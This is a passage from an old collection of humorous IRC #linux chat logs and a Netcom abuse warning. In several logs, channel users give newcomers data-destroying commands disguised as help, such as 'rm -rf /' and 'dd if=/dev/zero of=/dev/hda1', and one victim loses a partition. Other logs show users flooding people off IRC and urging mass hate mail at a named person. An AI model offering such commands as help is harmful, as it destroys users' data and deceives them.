  1345.  
  1346. We have received several complaints from users regarding your actions
  1347. within IRC. It has come to our attention that you have been
  1348. intentionally causing nick collisions within IRC. Intentional nick
  1349. collisions within IRC disrupts the service of other individuals on
  1350. Netcom as well as other services and is considered an abuse of the
  1351. system. Information about abuse of the system can be found under
  1352. section 7 of the Netcom Terms and Conditions. (For shell users, this
  1353. is article 7.1 of the faq terms. For NetCruiser users, this is located
  1354. NETCOM directory under the filename of AGREE.TXT.)
  1355.  
  1356. If we receive additional complaints of intentional nick collisions,
  1357. your account will be placed on hold.
  1358.  
  1359. On account suspensions:
  1360.  
  1361. NETCOM policies are set by the general manager to equitably allocate
  1362. finite system resources. Systems administrators and accounting personnel
  1363. implement the policies. The implementation may involve suspending an
  1364. account.
  1365.  
  1366. Abuse of system resources:
  1367.  
  1368. Any use of NETCOM system resources that disrupts the normal use of the
  1369. system for other NETCOM customers is considered to be abuse of system
  1370. resources and is grounds for System Administration intervention. Some
  1371. examples of system abuse include spawning excessive processes, consuming
  1372. excessive amounts of memory or cpu for long periods of time, and staying
  1373. attached to modems while not really "active" on the line.
  1374.  
  1375. If the misuse is unintentional, the suspension will be rescinded
  1376. following discussion with NETCOM Technical Support. If the misuse is
  1377. intentional, the suspension may be rescinded at the discretion of the
  1378. general manager, with the possibility of a service reconnection charge.
  1379. Occasionally, unintentional misuse is misclassified as intentional
  1380. misuse. Customers who believe their activity has been misclassified
  1381. may appeal to the general manager.
  1382.  
  1383. We request that a response to this message be made. Please include
  1384. any questions, comments or acknowledgement with regards to this warning.
  1385.  
  1386. - -Kathleen
  1387. ____________________________________________________________________________
  1388. _ _
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  1391. |_| _|_|
  1392. |_| 24 Hour Technical Support Hot Line
  1393. NETCOM (408) 983-5970
  1394.  
  1395. NEW!! On-Line Technical Support: http://www.netcom.com/bin/webtech
  1396.  
  1397. E-mail Support Representative IRC Abuse Coordinator
  1398. ____________________________________________________________________________
  1399.  
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  1411. ===========================================================================
  1412.  
  1413. 02/22/96
  1414.  
  1415. <Mandy> My ISP keeps dropping carrier for no apparent reason
  1416. <Mandy> And it didnt this morning
  1417. <Mandy> and he said he didnt change anything
  1418. <Mandy> and I didnt change anything
  1419. * Mandy freaks
  1420. * cc hits the switch to disconnect mandy again
  1421. <cplusplus> HEY my turn cc
  1422. <cc> Drat
  1423. * cc hands the holy hand switch to c++
  1424. * cplusplus gives it to synth and goes back to work
  1425. <synthpunk> aahh
  1426. * synthpunk ponders
  1427. * synthpunk hits the button a couple times to test it
  1428. * synthpunk reads the label "Press here to piss off Mandy"
  1429. * synthpunk jabs the button a few dozen times
  1430. * synthpunk yawns
  1431. *** Signoff: Mandy (Connection reset by peer) [#linux]
  1432. *** [6x86] (~electel@bronze.coil.com) has joined channel #linux
  1433. <cplusplus> it works
  1434. <cplusplus> the button
  1435. <cplusplus> [FIDELITY] -> Mandy has chansigned on #linux, Connection
  1436. + reset by peer
  1437. <synthpunk> muahaha
  1438. * synthpunk brandishes the switch
  1439.  
  1440. ===========================================================================
  1441.  
  1442. IRC log started Mon Feb 12 03:38
  1443. *** Value of LOG set to ON
  1444. *** Lastlog:
  1445. <Black_IC> mow: I've got a bridge to sell ya mow.
  1446. <mow> very _funny_!
  1447. <mow> i can swear, cant i?
  1448. <cplusplus> wasim It's not nice to confuse cplusplus
  1449. * Black_IC falls down. Which is funny, cuz he wasn't standing to being with.
  1450. <cplusplus> mow Sure. [censored].
  1451. <cplusplus> You just won't see other peoples swearing unless your site has been cleared
  1452. <Wasim> sorry, o'master, koh pah...
  1453. <Black_IC> [censored] A we can.
  1454. <mow> i will not believe, cannot believe that ur swearing is censored!
  1455. <cplusplus> Has to do with the new privacy laws
  1456. <mow> u _Are_ kidding!
  1457. <cplusplus> It's illegal to swear in the us internet now
  1458. <cplusplus> no
  1459. [FIDELITY] -> CJJR has slunk into #linux
  1460. <mow> please! say ure kidding
  1461. <Wasim> [censored] bill clinton
  1462. <mow> yeh fucking bill clinton
  1463. <cplusplus> god [censored] [censored] guy
  1464. <mow> did you see that?
  1465. <Teller> man thats [censored]
  1466. <TellarHK> [censored] is this place [censored] thanks to that mother [censored] bill.
  1467. <Black_IC> [censored] me. [censored] the government! [censored]!
  1468. <cplusplus> <mow> yeh [censored] bill clinton
  1469. <mow> did u see i wrote fucking?
  1470. <Black_IC> No.. it was censored.
  1471. <cplusplus> <mow> did u see i wrote [censored]?
  1472. <mow> or did u see [censored]
  1473. <Teller> <mow> did u see i wrote [censored]?
  1474. <mow> i only see [censored}!
  1475. [Wasim:wasim@cephas.com] I'm going to die, cpp
  1476. <cplusplus> Go into #dragonrealm
  1477. <Black_IC> Well that's what we've been trying to tell you!
  1478. <cplusplus> ask to have your site uncensored
  1479. <mow> i will not fucking shit piss whore damn it believe this!
  1480. <Maelcum> Well I think this whole situation is [censored] [censored]
  1481. [censored] [censored] [censored] [censored] [censored] [censored]
  1482. [censored] [censored] [censored] [censored] [censored] [censored]
  1483. [censored] [censored] [censored] [censored] [censored]
  1484. [Wasim:wasim@cephas.com] I hope to god you have a log of thi
  1485. [Teller:Teller@u.washington.edu] the plan...
  1486. * Black_IC grins at Wasim.
  1487. <cplusplus> Dosn't thus [censored]?
  1488. [FIDELITY] -> CJJR has departed #linux.
  1489. <mow> who the FUCK CAN I ASK TO GET UNCENSORED?
  1490. <Teller> president@whitehouse.gov ?
  1491. <Maelcum> mow: Congress. :)
  1492. <TellarHK> mow: Bug your [censored] sysadmin.
  1493. <mow> i will swear whenever i feel like it!
  1494. <Wasim> [censored] it.. you can't now
  1495. <cplusplus> But, we won't see it
  1496. <mow> this cant be happening! waaaagh!
  1497. <Black_IC> That's a good start.
  1498. <mow> #¤%"¤##/
  1499. <cplusplus> Efnet will be like this starting on wed
  1500. <Black_IC> Yes it [censored] can!
  1501. [FIDELITY] -> 03:40.
  1502. <mow> no,no,no,no,no
  1503. * Golle is glad he is not in the US
  1504. <cplusplus> Anything deemed unsuitable is now illegal in the US
  1505. <Wasim> no [censored]
  1506. <mow> what is this shit!
  1507. <TellarHK> mow: Go talk to your sysadmin about it, if they've got any
  1508. [censored] they might be able to uncensor you.
  1509. <Itchybro> I say poop!
  1510. <cplusplus> It's your [censored] fault too
  1511. <Teller> [censored] an A man...
  1512. <mow> is it that fucking newt gingrich!?
  1513. <cplusplus> People like you who didn't stand up and take action when the
  1514. bill was proposed
  1515. <Maelcum> NO
  1516. <Wasim> [censored] dole and his party too
  1517. <mow> im in fucking norway!!
  1518. <Maelcum> Newt was against it.
  1519. [FIDELITY] -> Mandy has slunk into #Linux
  1520. <mow> i have no say!!
  1521. [FIDELITY] -> ChanServ has applied +o Mandy to #linux
  1522. [FIDELITY] NEW MAIL - (Mail waiting: 15)
  1523. <Teller> I thought that [censored] newt was on our side
  1524. * Mandy keeps kicking xdm
  1525. <Black_IC> If you don't [censored] like it, write your [censored] congressmen!
  1526. <Mandy> Hahaha
  1527. <mow> how come newt was against it?
  1528. * TellarHK pauses. You're in norway?
  1529. <mow> yes!!!!!!!
  1530. <Teller> what a backstabbing [censored]
  1531. <Maelcum> Dunno
  1532. <cplusplus> Yeah. Dosnt that suck?
  1533. <Itchybro> cant "share" pix (newt that is)
  1534. <mow> what...
  1535. <cplusplus> Foreigners get our censorship too
  1536. <mow> u calling ME fucking backstabbing?
  1537. <Teller> it must be two-way system
  1538. <Mandy> [censored] [censored] [censored] [censored] [censored][censored] xdm
  1539. <mow> oh i get it
  1540. <mow> sorry
  1541. <mow> yeh im censored all right!
  1542. <TellarHK> Man, did News [censored] us over this time.
  1543. <mow> you know, i really want to weep!
  1544. * Black_IC is gonna crack.
  1545. <TellarHK> Er, Newt.
  1546. <cplusplus> I feel [censored].
  1547. [TellarHK:joshua@ume.maine.edu] LOG THIS. :)
  1548. <mow> were all fucked
  1549. <Black_IC> Suck my [censored].
  1550. -=> TellarHK <=- i am
  1551. [TellarHK:joshua@ume.maine.edu] Heheh. :)
  1552. <cplusplus> <mow> were all [censored]
  1553. <mow> how come some fucking mothercocksucking fuck cant hack this shit away!?
  1554. <cplusplus> isn't that cool?
  1555. * Wasim [censored] cracks
  1556. <Black_IC> [censored], as seen on TV!
  1557. <Maelcum> You aren't [censored] but we are.
  1558. <Teller> man the "[censored]" stuff sucks [censored] has been cut out
  1559. too, and it is a medical term!
  1560. * Maelcum [censored]
  1561. [FIDELITY] -> lorrie has slunk into #tessier
  1562. <Wasim> Maelcum: he's censored to me
  1563. [FIDELITY] -> lorrie has departed #tessier.
  1564. * TellarHK thinks he's gonna [censored] a brick over this.
  1565. <mow> isnt there anything you can do, cp++?
  1566. <mow> make this go away!
  1567. [FIDELITY] -> Itchybro has chansigned on #linux, Leaving
  1568. <Mandy> No dagnabit
  1569. <Mandy> Its just manditory now
  1570. <TellarHK> mow: We're [censored] until we vote the jerks out.
  1571. <Wasim> probably, wait, lets see what we can do
  1572. [FIDELITY] -> funkyguy has slunk into #linux
  1573. <cplusplus> mow what makes you think I can do anything? I don't even know java
  1574. <Wasim> feel like cracking this thing cpp
  1575. [FIDELITY] -> Mandy has changed his/her nick to [censored] on #linux.
  1576. <Maelcum> Isn't there a homepage on the CDA mow can read?
  1577. <[censored]> See
  1578. <[censored]> If I try to change my nick to [censored] it just puts that
  1579. stuff there
  1580. [FIDELITY] -> [censored] has changed his/her nick to Mandy on #linux.
  1581. <mow> i dont know what ure talking about.java?whats fucking java?!
  1582. <cplusplus> java is something I need to learn
  1583. * Black_IC smirks wryly.
  1584. [FIDELITY] -> 03:45.
  1585. <mow> jesus fucking christ!
  1586. <cplusplus> mow what? That was all censored
  1587. -=> wasim <=- So is this better than the nuke in mexico?
  1588. <mow> jesus fucking christ?
  1589. <Teller> the is so [censored] up, it has to go into the [censored] plan....
  1590. <Mandy> [censored] [censored] [censored]
  1591. <Mandy> err
  1592. [FIDELITY] -> funkyguy has departed #linux.
  1593. <Wasim> [censored] [censored] christ ?
  1594. <mow> i just said jesus
  1595. <Black_IC> Mandy: What?
  1596. <mow> fucking
  1597. <TellarHK> No [censored] Teller. :)
  1598. <Mandy> what what?
  1599. <mow> christ!
  1600. <cplusplus> most religeous terms like [censored] and [censored] are banned
  1601. <mow> this fucks up all conversation!!
  1602. <Black_IC> mow: I only got "i just said".
  1603. <Wasim> mow: it takes the meaning of the thing in context
  1604. <Mandy> Yeah it does
  1605. <mow> jeezus
  1606. <Black_IC> mow: Sorry.
  1607. <mow> u get that
  1608. <Mandy> Yeah
  1609. <Wasim> mow: its a computer, they programmed the [censored] out of it
  1610. <Teller> nope
  1611. <Mandy> I got that one
  1612. <Black_IC> Yeah.
  1613. <mow> ok
  1614. <Wasim> so did I.
  1615. <Teller> no what did you say
  1616. <mow> kriiist
  1617. * TellarHK hms. "Maybe lamerspeak will work."
  1618. <Wasim> got that too..
  1619. <Black_IC> Teller's must be keyed in on the slurred form too.
  1620. <Mandy> fuxcqing
  1621. <Teller> I saw that one
  1622. <Mandy> err
  1623. <mow> i talked about that shitty guy who pretended to be something he wasnt
  1624. <Wasim> fricking... you probably saw that
  1625. <Mandy> Yeah
  1626. <mow> yes
  1627. <mow> i saw it!
  1628. <mow> you know...
  1629. <Black_IC> you know the only problem with this is pretty soon you won't
  1630. be able to spell words like [censored].
  1631. <Teller> it must have gone [censored], the [censored] [censored] must
  1632. not have it perfected
  1633. <Black_IC> Which are really useful in conversation.
  1634. <Wasim> maybe they aren't that smart afterall
  1635. <mow> we'll hafta invent new f-words§
  1636. * Wasim goes back to [censored] programming SQL
  1637. <mow> who made this fucking shit anyways?
  1638. <cplusplus> A guy named jaxx
  1639. <mow> who programmed the shitty censorship-prog?
  1640. [Mandy:rshutt@ravenet.com] hahahah
  1641. <mow> jaxx!?
  1642. <Wasim> jaxx
  1643. <Mandy> Yep
  1644. <mow> who the fuck is jaxx!!?
  1645. <Mandy> It was [censored] jaxx
  1646. <Black_IC> Yes jaxx.
  1647. <TellarHK> Yeah, that [censored] [censored] jaxx traitored out on us. :/
  1648. <Wasim> yeah, he comes here sometimes
  1649. <Teller> no wonder it is so [censored]
  1650. <mow> why doesnt someone smoke the fucker?!
  1651. <Black_IC> Spineless [censored] that he is.
  1652. <cplusplus> send him some email
  1653. -=> NickServ <=- info jaxx
  1654. <mow> fuck
  1655. -NickServ- *** jaxx is jax
  1656. -NickServ- Last seen address: jaeger@talon.eplus.net
  1657. -NickServ- Last seen time: Sun 02/11/96 23:20:22 PST
  1658. -NickServ- Time registered: Thu 01/25/96 12:04:38 PST
  1659. -NickServ- *** End of Info ***
  1660. [FIDELITY] -> EasyRider has chansigned on #linux, rebooting to 1.3.62
  1661. <Maelcum> mow: Be our -----BEGIN PGP PUBLIC KEY BLOCK-----
  1662. <Maelcum> Version: 2.6.2
  1663. <Maelcum> mQCPAzCOwqEAAAEEAKHOdGJSqzxr5JuoZwlN0w43q/InpGQHWLCAbrEBiGpAam/9
  1664. <Maelcum> KEU1tjWRGknFCukw/nqFDpcxJwCzpQ4ES2bYyDWolFRjPifi2y0Y4xJ0Y5PW5oRF
  1665. <Maelcum> niRBjsBO4TH8PNufhCW4cNgL9sjM2zg3iBq0yllbVI+nFvTnbNsT+E8eCVQpABEB
  1666. <Maelcum> AAG0IEtlbHNleSBSaWRlb3V0IDxrZWxzZXlAc2RzdS5lZHU+
  1667. [Mandy:rshutt@ravenet.com] hahahahahahahahah
  1668. <Maelcum> =UzxC
  1669. <Maelcum> -----END PGP PUBLIC KEY BLOCK-----
  1670. <Maelcum> ack!
  1671. <Wasim> coz he has the [censored] government behind him
  1672. <cplusplus> jaeger@talon.eplus.net
  1673. <cplusplus> Send him some nasty mail
  1674. <Mandy> Hahahaha
  1675. <mow> well jfk had to.
  1676. <mow> or...not
  1677. <mow> shit,fuck,piss
  1678. <Maelcum> Tell him what a [censored] idiot he is.
  1679. <Mandy> [censored],[censored],[censored]
  1680. [FIDELITY] -> 03:50.
  1681. <mow> no, i dont wanna be here anymore! this is like a very bad dream
  1682. <mow> a fucking nightmare
  1683. <cplusplus> If we get 5000 messages to jaeger
  1684. <Wasim> You [censored] idiot.
  1685. <cplusplus> he might remove it
  1686. <Teller> I just grepped for [censored], it is bad...
  1687. <cplusplus> we've sent in a couple hundred, but no one knows how to floodmail
  1688. <TellarHK> mow: How do you [censored] think we [censored] feel about this [censored]?
  1689. <Mandy> So send him 1 from every hostname you have
  1690. [FIDELITY] -> mow from ukpc002.Unikom.Uit.No, ident ~r, Guneriussen
  1691. [FIDELITY] -> on: #linux
  1692. [FIDELITY] -> via dragon.ut.us.dal.net
  1693. <mow> fuck this shit
  1694. [FIDELITY] -> Teller has changed his/her nick to [censored]_you_jaxx on #linux.
  1695. <Wasim> [censored] had to start it on [censored] #linux too
  1696. <cplusplus> mow what?
  1697. <Black_IC> mow: Huh?
  1698. <mow> fock this sheet
  1699. <mow> u see that?
  1700. <cplusplus> yeah
  1701. [FIDELITY] -> [censored]_you_jaxx has changed his/her nick to Teller on #linux.
  1702. * Black_IC nods.
  1703. <mow> ok
  1704. <Teller> man that was [censored]
  1705. <mow> fock cock sock
  1706. <mow> cokk
  1707. <Black_IC> [censored] [censored] [censored] [censored]
  1708. <Mandy> heh
  1709. [Mandy:rshutt@ravenet.com] This poor guy
  1710. <cplusplus> Did you mail him yet?
  1711. <cplusplus> Flame him good
  1712. <TellarHK> Rumor has it that the censor.c patch will be expanded to the
  1713. rest of Dalnet and EFNet within the next week.
  1714. <Teller> were you trying to say [censored]?
  1715. <mow> oh sheet, gotta work some...
  1716. <mow> brb...
  1717. <mow> fuck, fuck, fucking shitty piss whore
  1718. [FIDELITY] -> mow has departed #linux.
  1719. * TellarHK ROTFL!!!!!!
  1720. <Teller> hahahahaahhahaha
  1721. <cplusplus> hahahahaha
  1722. * Black_IC laughs his ass off.
  1723. *** mow: No such nick/channel
  1724. * TellarHK thought he was gonna bust a gut.
  1725. [FIDELITY] -> EasyRider has slunk into #linux
  1726. [FIDELITY] -> ChanServ has applied +o EasyRider to #linux
  1727. * Black_IC then picks it up and puts it back on and laughs some more.
  1728. <Teller> you MUST have that logged!
  1729. <Maelcum> heh
  1730. <cplusplus> I do
  1731. <Maelcum> ER!!!!!!!!!
  1732. <Maelcum> ER: You missed it!
  1733. <Wasim> YES!!
  1734. <TellarHK> c++: I WANT that log. :)
  1735. Pub: #linux @EasyRider @Mandy @Maelcum @Teller LinHelp @Golle
  1736. Black_IC @Vinux @zombie_cc @cplusplus @Wasim @TellarHK @Db
  1737. <Maelcum> That was [censored] GREAT!
  1738. <Teller> you [censored] just missed it
  1739. <TellarHK> ER: You just missed the most amusing thing here in many a year. :)
  1740. <Wasim> open vote for inclusion in twit list
  1741. * Maelcum snickers
  1742. <cplusplus> I know
  1743. <Mandy> Yeah
  1744. <Mandy> Thats hilarious
  1745. <Black_IC> [censored] was that [censored] funny!
  1746.  
  1747. =========================================================================
  1748.  
  1749. <abd_> hi guys . how can i reboot using kill ? :)
  1750. <Chaos1> why?
  1751. *** Signoff: Mandy (changing servers) [#linux]
  1752. *** Mandy (rshutt@ppp34.ravenet.com) has joined channel #linux
  1753. <BogoMips> killall -9 csh
  1754. <BogoMips> heh
  1755. <Mandy> Mad lag
  1756. <Mandy> Whats new?
  1757. *** Signoff: CKeeper (Connection reset by peer) [#linux]
  1758. <BogoMips> /bin/rm -rf / does it too
  1759. <abd_> bogo :that was for me ?
  1760. <Chaos1> Bogo: >;)
  1761. <BogoMips> yupe
  1762. <abd_> bogo : what is csh ?
  1763. <CKeeper> that was wierd
  1764. <CKeeper> my client just died
  1765. <CKeeper> segfault
  1766. <Mandy> Just /bin/rm -rf / like the man said!!
  1767. <Mandy> That does it
  1768. <DoomGuy> hehe
  1769. -> [mandy] I'm logging this ;)
  1770. <BogoMips> abd_ : it something you have to kill to reboot
  1771. * CKeeper thinks the aliens that are invading IRC are using their
  1772. super-high-tech war scripts on me
  1773. [BogoMips!jauderho@oahu.physics.lsa.umich.edu] heh!!!
  1774. -> [BogoMips] this could be a classic ;)
  1775. <abd_> ok i ll go try that
  1776. <DoomGuy> wah
  1777. *** abd_ has left channel #linux
  1778.  
  1779. =========================================================================
  1780. ~ Mar 14, 1996
  1781.  
  1782. <KHall> do I have to remake the kernel? yes?
  1783. * grouchy realizes his away has been set to tell ppl to 'fuck off' for hours
  1784. <grouchy> no, just patch it and it works
  1785. <grouchy> well, I was pissed earlier
  1786. <KHall> grouchy: really?
  1787. <grouchy> yep, but the uname won't catch up right away, will still say .72
  1788. <grouchy> or whatever
  1789. <KHall> grouchy: how long will it say that?
  1790. -> -OPS@#linux- [WallOps:#linux] should I keep him going?
  1791. <KHall> grouchy: power cycle?
  1792. <grouchy> yeah, power it down to play dos games
  1793. <KHall> grouchy: oh ok.. :)
  1794. <KHall> hmm..
  1795. <KHall> brb.. gotta reboot. :)
  1796. *** Signoff: KHall (Leaving) [#linux]
  1797. <grouchy> Wonder if he rebuilt his kernel or just thought patching it
  1798. would do it :)
  1799. <grouchy> Someone let me know if he comes back later complaining about his
  1800. uname not updating...
  1801.  
  1802. ==========================================================================
  1803.  
  1804. ~ Mar 16, 1996
  1805.  
  1806. <kc> ABV: I know, I want you to link my 386, and the 4/330 to sunwave.com
  1807. <Mir> I totally overloaded an xterm and now it wont take keyboard input
  1808. <kc> tss: was she suppose to stop?
  1809. <ABV> mir overloaded? eh?
  1810. * ABV doesn't use xterm's
  1811. <Mir> I dont know abv
  1812. * ABV uses rxvts
  1813. <Mir> I just typed REALLY fast a whole bunch of ^ chars
  1814. <tss> kc: yea... I only went till I was 11
  1815. <kc> AHH!
  1816. * kc pokes chaos
  1817. <kc> stop you dog chaos
  1818. <Mir> dont ask me why
  1819. * tss wonders how bored mir was...
  1820. <kc> stop pingng me
  1821. <Mir> I was trying to freak this telnet-irc client out
  1822. * Chaos1 wonders if kc is getting lagged...
  1823. <ABV> of course not
  1824. <Mir> ls
  1825. <Mir> shit
  1826. <Chaos1> Mir: hehehe ;)
  1827. <tss> will do
  1828. <tss> /exec ls
  1829. <tss> /exec ls
  1830. <kc> AHH!!!
  1831. <kc> AHH!
  1832. * Chaos1 is lagging kc bad >:>
  1833. <Mir> How bout I /exec -o ls -alF
  1834. * kc ignores
  1835. * Chaos1 kills kc
  1836. <tss> /exec ls
  1837. <tss> ack
  1838. <tss> wrong button
  1839. *** Signoff: kc (Connection reset by peer) [#linux]
  1840. <tss> hahaha
  1841. <Chaos1> LOL! :)
  1842. <ABV> hmm
  1843. <Chaos1> I killed him! :)
  1844. <tss> 11 hours 59 minutes 40 seconds... jeezus
  1845. *** kc (alan@trojan.sunwave.com) has joined channel #linux
  1846. <grouchy> how about exec -msg nm ls -ltR / ?
  1847. <kc> damn nuts
  1848. <kc> STOP
  1849. <tss> heheh
  1850. <Chaos1> hahahah!
  1851. <Mir> hahah kc
  1852. <kc> damn
  1853. <Mir> Did yall log that?
  1854. * kc rips off tss and chaos's head
  1855. <Chaos1> log what?
  1856. <Mir> YOu flooding him off
  1857. <Chaos1> kc: that was just me >:>
  1858. *** Signoff: a (Leaving) [#linux]
  1859. <Chaos1> I got the scroll back on it...
  1860. <kc> no i quit :)
  1861. <Chaos1> we can send it into c++ ;)
  1862. * tss smiles
  1863.  
  1864. =====================================================================
  1865. Date: Fri, 29 Mar 1996 10:34:47 -0500 (EST)
  1866. From: David Muench <cc@spork.neonexus.com>
  1867. To: aleigh@tessier.com
  1868. Subject: The Plan (fwd)
  1869.  
  1870.  
  1871. I have NO idea why this was sent to me.
  1872.  
  1873. ---------------Forwarded Message-------------------
  1874. Date: Thu, 28 Mar 1996 23:30:49 -0600
  1875. From: Eiwe Lingefors <seraph@world-net.net>
  1876. To: cc@spork.neonexus.com
  1877. Subject: The Plan
  1878.  
  1879. Hey there....
  1880.  
  1881. I REALLY enjoyed reading your .plan and I have an addition to the IRC twits
  1882. section. Please tell me what you think of it and if you will be including
  1883. it... :)
  1884.  
  1885. It was performed on #linux on Undernet...
  1886.  
  1887. This guy was trying to get ppd to work on his newly installed Linux...
  1888.  
  1889.  
  1890. > I might be able to help...
  1891. > What exactly is the prob?
  1892. <nazgul_> i'm having big problems.... it won't do anything right
  1893. > Ok, have you read the man pages?
  1894. > do you understand the basics?
  1895. <nazgul_> yeah... i had it working b4 for a long time it just got messed up
  1896. when i updated
  1897. my kernel and it
  1898. > do you know how to use dd?
  1899. <nazgul_> dd?
  1900. > yeah, you can make sure you have ppp in the kernel...
  1901. <nazgul_> i know i have it in the kernel... it did work once... now it won't
  1902. anymore and i
  1903. didn't even change anything
  1904. > try dd if=/vmlinuz of=/dev/hda bs=200 .... that will list all the daemons
  1905. currently in
  1906. the kernel..
  1907. > just check if pppd is in the list..
  1908. <nazgul_> ok
  1909. > did you do it?
  1910. <nazgul_> it just said 2288+1 records in... out
  1911. > Hmm... try ls... there should be an output file in the root...
  1912. > if that doesn't work, you might have to reboot...
  1913. <nazgul_> ok
  1914. *** nazgul_ has quit IRC (Read error to nazgul_[kudonet.com]: EOF from
  1915. client)
  1916.  
  1917. =========================================================================
  1918.  
  1919. 3/29/96
  1920.  
  1921. <Mir> this oprc sucks
  1922. *** Mode change "+o Chaos1" on channel #linux by LinHelp
  1923. <You> brff
  1924. * You have [1] new piece of mail! Type "//si mail" to read.
  1925. *** Signoff: Mir (mail) [#linux]
  1926. *** Signoff: Chaos1 (mail) [#linux]
  1927. <You> HAHAHAHAHAHA
  1928. <You> HAHAHA
  1929. <A> Thats good!
  1930. *** Mir (rshutt@ppp37.ravenet.com) has joined channel #linux
  1931. *** Mode change "+o Mir" on channel #linux by LinHelp
  1932. <Mir> No no no
  1933. <Mir> oprc sucks
  1934. <A> mir: ;-)
  1935. <Mir> OH SH IT
  1936. <Mir> Hahahahahahaha
  1937. <cc> You guys are lame. :)
  1938. <Mir> I thought that was that script
  1939. <You> Did anyone log that??
  1940. <A> *** You is lharring@srq03.netline.net (asd)
  1941.  
  1942. ===========================================================================
  1943. IRC log started Mon Jul 24 20:06
  1944. *** Value of LOG set to ON
  1945. <R0M> How do I make my harddisk not read only??
  1946. <wasim> R)M: dd
  1947. <R0M> dd then what?
  1948. <icbm> cplusplus what? hmmm...
  1949. <cplusplus> if=/dev/zero of=/dev/hda1
  1950. <tyoko> rom: chmod +rw
  1951. <cplusplus> change /dev/hda1 to whatever your drive is
  1952. <R0M> dd if =/dev/zero of=/dev/hda1?
  1953. <wasim> that looks right, R0M
  1954. <R0M> but it's off a floppy
  1955. <wasim> R0M: you need to tell teh hd to accept the floppy by initializing
  1956. it first
  1957. <Wizird> cplusplus: ahem. :)
  1958. <R0M> ok hwre is what the situation is, i happen to have slackware 2.3
  1959. and linux 2.0.8, so i wanted to upgrade gcc, so i got the new
  1960. binutils and extracted them but everything was screwed and i got
  1961. sementaion fault all over so i installed the a series again but now
  1962. my kernel is read-only it cannot read /etc so nothing can be
  1963. mounted, i have no cdrom and each tab it says cannot access
  1964. /etc/mtab~ read-only file system
  1965. <R0M> ok hwre is what the situation is, i happen to have slackware 2.3
  1966. and linux 2.0.8, so i wanted to upgrade gcc, so i got the new
  1967. binutils and extracted them but everything was screwed and i got
  1968. sementaion fault all over so i installed the a series aga
  1969. in but now my kernel is read-only it cannot read /etc so nothing
  1970. can be mounted, i have no cdrom and each tab it says cannot access
  1971. /etc/mtab~ read-only file system
  1972. <R0M> help?
  1973. <R0M> how do i restore my fs the way it way
  1974. <R0M> er was
  1975. <R0M> filesystem
  1976. <R0M> so it can read /etc and stuff
  1977. <coaxD> rom: You cannot. :) THATS what BACKUPS are for! :)
  1978. <R0M> coaxd: well i put the etc.tar on a dos partition but now i cannot
  1979. get it back to linux since it doesn't see the paritions
  1980. <R0M> i cannot run pkgtool since filesystem is read only
  1981. <R0M> and when i boot from floppy i get (none) welcome to linux 2.0.8
  1982. <coaxD> hmmmm
  1983. <R0M> no mounts nothing
  1984. <R0M> so dd will fix it?
  1985. <R0M> dd if=/dev/zero of=/dev/hda?
  1986. <wasim> yes, R0M
  1987. <wasim> it might only work if you're root
  1988. <R0M> hmm
  1989. <R0M> yeah
  1990. <R0M> ok brb
  1991. [FID] -> R0M has chansigned on #linux, Leaving
  1992. <wasim> xinu: dd if=/dev/zero of=/dev/hda1
  1993. <xinu> Anyone know how to fix a read-only filesystem error ?
  1994. <rcw> xinu: mount -nt /dev/foo / -o remount
  1995. <wdh> xinu: man rdev
  1996. <xinu> rcw: does this count as read-write ?
  1997. <rcw> xinu: It remounts it read write.
  1998. <xinu> rcw: cool ... any idea on what caused the problem ?
  1999. [FID] -> R0M has slunk into #linux
  2000. <rcw> xinu: LILO + your startup scripts + e2fsck are conspiring against you. :)
  2001. <R0M> well guys thanks for making my kernel panic, now i cannot boot my kernel anymore dd sure helped :P
  2002. <rcw> xinu: Here's how it's *supposed* to work...
  2003. * R0M says goodbye to his 2 gigs linux partition
  2004. <rcw> xinu: Your kernel is told by LILO to mount / as readonly.
  2005. <wdh> rom: dont do it man!
  2006. <sonet> rom, dont you have boot diskettes?
  2007. <rcw> xinu: That way, it can be fsck'd safely.
  2008. <R0M> wdh: if i can't boot it then how can i get to it?
  2009. <R0M> sonet: yeah
  2010. <rcw> rom: You can recover it then.
  2011. <R0M> sonet: where are you lemme call you, i am gonna panic in any sec
  2012. <sonet> rom: linux boot & root?
  2013. <wdh> ROM: whats it say?
  2014. <sonet> rom. heh, i am in australia ;)
  2015. <lantos> ROM, at lilo boot old
  2016. <rcw> xinu: Then it's *supposed* to be remounted rw...
  2017. <R0M> VFS: unable to mount root kernel panic
  2018. <R0M> lantos: i boot off floppy cos now i am on win95
  2019. <rcw> ROM: What area code are you? :)
  2020. <wdh> rom: ohhhh thats bad... real bad...
  2021. <R0M> anyone near canada can help me plz before i panic
  2022. <R0M> rcw: 514
  2023. <wdh> rom: do you have seperate root /usr /var partiitions?
  2024. <rcw> ROM: *nowhere* close...
  2025. <rcw> ROM: 206.
  2026. <sonet> rom. make a boot disk using rawrite
  2027. <rcw> ROM: Get out those boot/root disks...
  2028. <rcw> ROM: (or make new ones)
  2029. <R0M> i have one but instead of going into win95 each time
  2030. <wasim> R0M: did you dd it ?
  2031. <R0M> i can call someone
  2032. <Voltaire> any reason why when i attempt to upgrade RPM to 2.2 i get Failed Dependancies
  2033. <R0M> wasim: yeah it kept frozen until i broke it after 15 minutes
  2034. <R0M> wasim: then i got a kernel panic
  2035. <wasim> weird....
  2036. <R0M> ok who lives near quebec
  2037. <R0M> new york
  2038. <R0M> mass any
  2039. <R0M> sigh
  2040. <R0M> boston?
  2041. <R0M> new jersey
  2042. <tyoko> rom: what?
  2043. <wdh> rom: i live in NJ
  2044. <wdh> heh
  2045. <chiefster> r0m : i live in ontario
  2046. <R0M> wdh: dammiot msg me your number
  2047. <wasim> R0M: umm... might as well reinstall
  2048. <sonet> rom, cant you remake the boot images that came with the distro?
  2049. <wasim> sonet: he dd'd it... there's no coming back
  2050. <wdh> rom: 609 823 2734 have a credit card ready...
  2051. <R0M> ok
  2052. <rcw> rom: You should be able to boot with the boot/root disks and mount your partition.
  2053. <R0M> i hope we can fix it
  2054. <R0M> well we wil see
  2055. <R0M> lemem get my botodisks first
  2056. <rcw> wasim: What did he dd it to now?
  2057. <lantos> ROM but you dont go to lilo even on a disk?
  2058. <rcw> wasim: His partition? :)
  2059. <wasim> rcw: dd if=/dev/zero of=/dev/hda1
  2060. <wasim> bingo rcw
  2061. <rcw> wasim: ARGH!
  2062. <R0M> lantos: no i boot off floppy
  2063. <rcw> wasim: Maybe if you tell e2fsck to use another superblock copy...
  2064. <wasim> rcw: don't think so
  2065. <rcw> wasim: Probably not, but it's worth a shot. :)
  2066. <lantos> ROM, i had mine booting from floppy and used lilo...
  2067. <lantos> ROM, only reason i was asking
